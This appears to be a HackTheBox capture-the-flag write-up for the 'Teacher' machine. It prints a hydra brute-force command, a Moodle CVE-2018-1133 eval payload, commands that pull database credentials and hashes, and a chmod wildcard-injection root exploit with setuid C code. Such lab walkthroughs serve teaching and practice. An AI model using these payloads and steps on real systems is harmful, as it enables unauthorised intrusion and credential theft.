New week, new write-up! This time we are going to take a look at “Teacher” from HackTheBox. The name of the box is kind of ironic because it definitely taught me a thing or two. ‘Teacher’ runs an outdated version of the Open Source CMS “Moodle” which has a RCE vulnerability. After we get a shell on the machine, we take advantage of a poorly written bash script, susceptible to an old-school hacking technique - wildcard argument injection. In summary:
User access | Root access |
---|---|
Retrieve creds from hidden textfile | chmod wildcard injection |
Bruteforce on Moodle login page | |
Moodle CVE-2018-1133 RCE vulnerability | |
Database user password re-use |
Enumeration
Like any other HTB machine, we need to know what we are up against. Nmap is our biggest friend for the initial enumeration process.
root@kali:~/HTB/waldo# nmap -sC -sV -oA teacher.htb 10.10.10.153
Nmap scan report for 10.10.10.153
Host is up (0.038s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Blackhat highschool
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Dec 1 20:01:52 2018 -- 1 IP address (1 host up) scanned in 9.31 seconds
We notice that the remote host has only one open port: TCP 80. It is running the Apache web server version 2.4.25 and the OS is fingerprinted as being Debian. The title of the main page is also shown - “Blackhat highschool”. When we browse to the IP-address using Firefox, we can see the following page:
Let us inspect some of the visual items on the webpage, starting with the terms shown on top. All of them point to dead links (http://10.10.10.153/#
), with the exception of “Gallery” shown in the right upper corner. Clicking on that link redirects us to http://10.10.10.153/gallery.html
.
There are a bunch of pictures on this page which again, does not seem to lead us anywhere. The left upper picture does seem to be missing though. The source of the page might reveal something valuable. This source code snippet below relates to the pictures shown in the page:
<div class="slide">
<ul>
<li><a href="#"><img src="images/5.png" onerror="console.log('That\'s an F');" alt=""></a></li>
<li><a href="#"><img src="images/5_2.png" alt=""></a></li>
<li><a href="#"><img src="images/5_3.png" alt=""></a></li>
<li><a href="#"><img src="images/5_4.png" alt=""></a></li>
<li><a href="#"><img src="images/5_5.png" alt=""></a></li>
<li><a href="#"><img src="images/5_6.png" alt=""></a></li>
<li><a href="#"><img src="images/5_7.png" alt=""></a></li>
<li><a href="#"><img src="images/5_8.png" alt=""></a></li>
<li><a href="#"><img src="images/5_9.png" alt=""></a></li>
<li><a href="#"><img src="images/5_10.png" alt=""></a></li>
<li><a href="#"><img src="images/5_11.png" alt=""></a></li>
<li><a href="#"><img src="images/5_12.png" alt=""></a></li>
<li><a href="#"><img src="images/5_13.png" alt=""></a></li>
<li><a href="#"><img src="images/5_14.png" alt=""></a></li>
<li><a href="#"><img src="images/5_15.png" alt=""></a></li>
<li><a href="#"><img src="images/5_16.png" alt=""></a></li>
</ul>
</div>
Now the first entry, 5.png
seems to stand out from the rest – oddly pointing to the browser’s javascript console. As all of the pictures are stored in the /images
directory, it might be worth taking a look at the directory listing as well:
The attentive reader will spot the anomaly: the file size of “5.png
” is considerably smaller in comparison with the other PNG files. Is there something hidden in this file? Let us download the file and determine its file type:
root@kali:~/HTB/teacher# wget http://10.10.10.153/images/5.png
--2018-12-01 20:28:47-- http://10.10.10.153/images/5.png
Connecting to 10.10.10.153:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 200 [image/png]
Saving to: ‘5.png’
5.png 100%[=======================================================================>] 200 --.-KB/s in 0s
2018-12-01 20:28:47 (27.2 MB/s) - ‘5.png’ saved [200/200]
root@kali:~/HTB/teacher# file 5.png
5.png: ASCII text
Okay, lesson learned, never get fooled by a file’s extension as 5.png is just a regular text file!
root@kali:~/HTB/teacher# cat 5.png
Hi Servicedesk,
I forgot the last character of my password. The only part I remembered is Th4C00lTheacha.
Could you guys figure out what the last character is, or just reset it?
Thanks,
Giovanni
Cool! A hidden message from “Giovanni” referring to his credentials. These might come in handy in the near future, if we can find a login portal or service.
Discovering Moodle
Let us continue our enumeration process by running GoBuster against the web server to identify hidden directories and files;
root@kali:~/HTB/teacher# gobuster -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.10.153:80/ -s '200,204,301,302,307,500' -x html,php,txt -e
=====================================================
Gobuster v2.0.0 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.153:80/
[+] Threads : 10
[+] Wordlist : /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes : 200,204,301,302,307,500
[+] Extensions : html,php,txt
[+] Expanded : true
[+] Timeout : 10s
=====================================================
2018/12/01 20:30:01 Starting gobuster
=====================================================
http://10.10.10.153:80/css (Status: 301)
http://10.10.10.153:80/fonts (Status: 301)
http://10.10.10.153:80/gallery.html (Status: 200)
http://10.10.10.153:80/images (Status: 301)
http://10.10.10.153:80/index.html (Status: 200)
http://10.10.10.153:80/index.html (Status: 200)
http://10.10.10.153:80/javascript (Status: 301)
http://10.10.10.153:80/js (Status: 301)
http://10.10.10.153:80/manual (Status: 301)
http://10.10.10.153:80/moodle (Status: 301)
=====================================================
2018/12/01 20:31:12 Finished
=====================================================
In the GoBuster output we can see the index and gallery HTML-files which we inspected earlier. There is also an entry named /moodle
- which looks interesting. Browsing to http://10.10.10.153/moodle/
reveals the Moodle CMS running on the remote host. Personally I wasn’t familiar with this application, but it is a popular open-source CMS for educational purposes where teachers can develop e-learning courses, tests and quizzes.
The main page shows a reference to “Giovanni”, the name we also found in the hidden text file. On the right upper corner we can see a “Log in” button. This redirects us to the Moodle login page;
Now how do we login? We know the username is probably giovanni
, but how about the password? The hidden text message told us that is it missing the last character. The tool crunch
comes to our rescue!
Crunch is a tool to create wordlists based on letters, numbers or special characters and a string length. In this case we use crunch to generate a list of passwords based on the partial password - Th4C00lTheacha
. We only need to append one character, thus the string length will be 15. The password will likely end with a special character/symbol, by specifying the ^
we can apply this filter.
crunch 15 15 -t Th4C00lTheacha^ -o passwords.txt
The passwords.txt file contains 33 unique entries. To get an idea of what the wordlist looks like, these are the first five entries:
Th4C00lTheacha!
Th4C00lTheacha@
Th4C00lTheacha#
Th4C00lTheacha$
Th4C00lTheacha%
We can now supply the wordlist generated by Crunch, to Hydra and let it bruteforce the Moodle login page:
hydra -l giovanni -P passwords.txt 10.10.10.153 http-post-form "/moodle/login/index.php:username=^USER^&password=^PASS^:Invalid login"
root@kali:~/HTB/teacher# hydra -l giovanni -P password.txt 10.10.10.153 http-post-form "/moodle/login/index.php:username=^USER^&password=^PASS^:Invali
d login"
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2018-12-01 21:00:47
[DATA] max 16 tasks per 1 server, overall 16 tasks, 33 login tries (l:1/p:33), ~3 tries per task
[DATA] attacking http-post-form://10.10.10.153:80//moodle/login/index.php:username=^USER^&password=^PASS^:Invalid login
[80][http-post-form] host: 10.10.10.153 login: giovanni password: Th4C00lTheacha#
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-12-01 21:01:12
Great! We managed to retrieve Giovanni’s password. This set of credentials giovanni / Th4C00lTheacha#
gives us access to the Moodle application:
Exploiting Moodle
To identify potential vulnerabilities for the Moodle application, we first need to gather the version number. This article from Moodle docs mentions that the version of Moodle can be found at the bottom of any page. Quote: “Look at the number in the URL e.g. 27 or 32 which mean you are using Moodle 2.7 or 3.2 respectively.”
Well, that sounds straightforward. When we scroll down and hover over “Moodle Docs for this page”, we can see that the number 34
is part of the URL. This means that Moodle version 3.4 is running on the remote web server.
Some basic online searching for the application’s version reveals that it is vulnerable for a remote code execution vulnerability (CVE-2018-1133). The vulnerability exists in the PHP eval function which is used by the internal math formula of a calculated question to return a result. However, the input is not properly sanitized and can easily be bypassed, allowing attackers to run arbitrary commands on the underlying OS. To take advantage of this vulnerability, we first need to create a custom quiz with a calculated question:
Add the payload /*{a*/`$_GET[0]`;//{x}}
as answer for the formula:
After the question is created, the formula will execute the code we supply in the $_GET['0']
parameter. In this case we choose to use a reverse shell payload and append it after cmdid
- make sure to URL encode it!
After executing our payload, a low priv shell returns as the www-user!
Getting Giovanni’s system credentials
As soon as I get a shell on machine, I always like to start with a bit of manual enumeration. The www-user is generally allowed to read configuration files of web applications. Config files can reveal sensitive information such as database credentials. The config file of Moodle is stored in: /var/www/html/moodle/config.php
.
We are in luck, the config file contains the plaintext password of the root user:
www-data@teacher:/var/www/html/moodle$ cat config.php
---output omitted---
$CFG->dbtype = 'mariadb';
$CFG->dblibrary = 'native';
$CFG->dbhost = 'localhost';
$CFG->dbname = 'moodle';
$CFG->dbuser = 'root';
$CFG->dbpass = 'Welkom1!';
$CFG->prefix = 'mdl_';
---output omitted---
www-data@teacher:/var/www/html/moodle$
Now the database might also contain sensitive user information. We can connect to the local database (running MariaDB) named ‘moodle’ using the mysql
command:
www-data@teacher:/var/www/html/moodle$ mysql -u root -D moodle -pWelkom1!
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 8629
Server version: 10.1.26-MariaDB-0+deb9u1 Debian 9.1
Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
We can see that there is one table named “mdl_user”.
MariaDB [moodle]> show tables;
+----------------------------------+
| Tables_in_moodle |
----------------------------------
--output omitted--
| mdl_user |
--output omitted--
+----------------------------------+
388 rows in set (0.01 sec)
There are a number of columns in the table, lets limit out scope to the username
and password
columns:
MariaDB [moodle]> show columns from mdl_user;
+-------------------+--------------+------+-----+-----------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-------------------+--------------+------+-----+-----------+----------------+
--output omitted--
| username | varchar(100) | NO | | | |
| password | varchar(255) | NO | | | |
--output omitted--
+-------------------+--------------+------+-----+-----------+----------------+
Extract the username and passwords from the database:
MariaDB [moodle]> select username,password from mdl_user;
+-------------+--------------------------------------------------------------+
| username | password |
+-------------+--------------------------------------------------------------+
| guest | $2y$10$ywuE5gDlAlaCu9R0w7pKW.UCB0jUH6ZVKcitP3gMtUNrAebiGMOdO |
| admin | $2y$10$7VPsdU9/9y2J4Mynlt6vM.a4coqHRXsNTOq/1aA6wCWTsF2wtrDO2 |
| giovanni | $2y$10$38V6kI7LNudORa7lBAT0q.vsQsv4PemY7rf/M1Zkj/i1VqLO0FSYO |
| Giovannibak | 7a860966115182402ed06375cf0a22af |
+-------------+--------------------------------------------------------------+
4 rows in set (0.00 sec)
MariaDB [moodle]>
The password values contain cryptographic hashes. The first three use the bcrypt algorithm, the last one is a (weak) MD5 hash. When we search for the hashes on hashes.org, we can see that it found one record of the cracked MD5 hash. The password expelled
belongs to the Giovannibak user. Which sounds like it is (once) used as a backup account.
Let’s try to login with the giovanni
user using the password expelled
.
www-data@teacher:/var/www/html/moodle$ su - giovanni
Password:
giovanni@teacher:~$
Someone needs to teach Giovanni a lesson not to re-use passwords! ☺️
Privilege Escalation
Now this privesc stage was much harder than I originally expected, since this box only gives 20 points. Anyway, here we go:
In the home directory of Giovanni there is folder named work
. Inside this directory there are more folders and files.
giovanni@teacher:~/work$ ls -lR
ls -lR
.:
total 8
drwxr-xr-x 3 giovanni giovanni 4096 Jun 27 04:58 courses
drwxr-xr-x 3 giovanni giovanni 4096 Jun 27 04:34 tmp
./courses:
total 4
drwxr-xr-x 2 root root 4096 Jun 27 04:15 algebra
./courses/algebra:
total 4
-rw-r--r-- 1 giovanni giovanni 109 Jun 27 04:12 answersAlgebra
./tmp:
total 8
-rwxrwxrwx 1 root root 256 Dec 2 09:48 backup_courses.tar.gz
drwxrwxrwx 3 root root 4096 Jun 27 04:58 courses
./tmp/courses:
total 4
drwxrwxrwx 2 root root 4096 Jun 27 04:15 algebra
./tmp/courses/algebra:
total 4
-rwxrwxrwx 1 giovanni giovanni 109 Jun 27 04:12 answersAlgebra
giovanni@teacher:~/work$ date
Sun Dec 2 09:48:32 CET 2018
The file that is particularly interesting is backup_courses.tar.gz
because:
• The timestamp keeps changing every minute
• The file permissions are set to 777
• The file is owned by root
This behavior is probably caused by an automated process - a root cron job. It will take some enumeration skills to discover the bash script that the cronjob is using. It is stored in the location:
/usr/bin/backup.sh
.
The contents of the script:
giovanni@teacher:/var/log$ cat /usr/bin/backup.sh
#!/bin/bash
cd /home/giovanni/work;
tar -czvf tmp/backup_courses.tar.gz courses/*;
cd tmp;
tar -xf backup_courses.tar.gz;
chmod 777 * -R;
giovanni@teacher:/var/log$
The interesting part of the script is the usage of the wildcard (*
) in the chmod command. It will basically apply the designated permission to all files in the present directory. Now there’s a reason why theres WILD in the name. The Unix shell will interpret files beginning with a hyphen (-) as commands line arguments to the executed program. This old-school technique is called “wildcard argument injection”. Chmod supports the --reference
option that can be used to clone permissions of an existing file or folder. We can use wildcard injection to pass this argument to chmod and apply this permission set to all files and folders. Steps to gain root access:
Step 1. Create a reference file with the setuid bit set:
giovanni@teacher:~/work/tmp$ touch suid
giovanni@teacher:~/work/tmp$ chmod u+s suid
Step 2. Create a file containing the chmod --reference
command line argument:
giovanni@teacher:~/work/tmp$ echo "" > '--reference=suid'
Step 3. Create a setuid binary file and compile it on Kali machine as the root user:
int main(void) {
setuid(0);
clearenv();
system("/bin/bash");
}
root@kali:~/HTB/teacher# gcc pwn.c -o pwn
Step 4. Put the setuid binary inside of a tar.gz file - whenever we extract the tarball later it will retain its owner permissions. We compiled the file as root, meaning that the setuid binary file will be owned by root.
root@kali:~/HTB/teacher# tar -zcvf pwn.tar.gz pwn
Step 5. Transfer the file over to the Teacher box.
Step 6. As we have write permissions we can overwrite the original tarball. Replace the backup_courses.tar.gz
with the pwn.tar.gz
.
giovanni@teacher:~/work/tmp$ cp pwn.tar.gz backup_courses.tar.gz
Step 7. Wait for the cronjob to do its thing. It will extract the contents of backup_courses.tar.gz
containing our setuid binary and and then sets the setuid bit through chmod wildcard injection.
After the cronjob has finished we now have a setuid binary file owned by root, execute it to get a root shell.
giovanni@teacher:~/work/tmp$ ls -al
total 48
drwxr-xr-x 3 giovanni giovanni 4096 Dec 02 14:39 .
drwxr-xr-x 4 giovanni giovanni 4096 Jun 27 2018 ..
-rwxrwxrwx 1 root root 2571 Dec 02 14:40 backup_courses.tar.gz
drwsrwxrwx 3 root root 4096 Dec 02 14:37 courses
-rw-rw-rw- 1 giovanni giovanni 1 Dec 02 13:58 --reference=suid
-rwsrwxrwx 1 root root 16712 Dec 02 14:41 pwn
-rwsrwxrwx 1 giovanni giovanni 2571 Dec 02 14:37 pwn.tar.gz
-rwsrwxrwx 1 giovanni giovanni 1 Dec 02 14:09 suid
giovanni@teacher:~/work/tmp$ ./pwn
root@teacher:/home/giovanni/work/tmp# cat /root/root.txt
4f3a83b42ac7723a508b8ace7b8b1209
Job well done! See ya in the next one!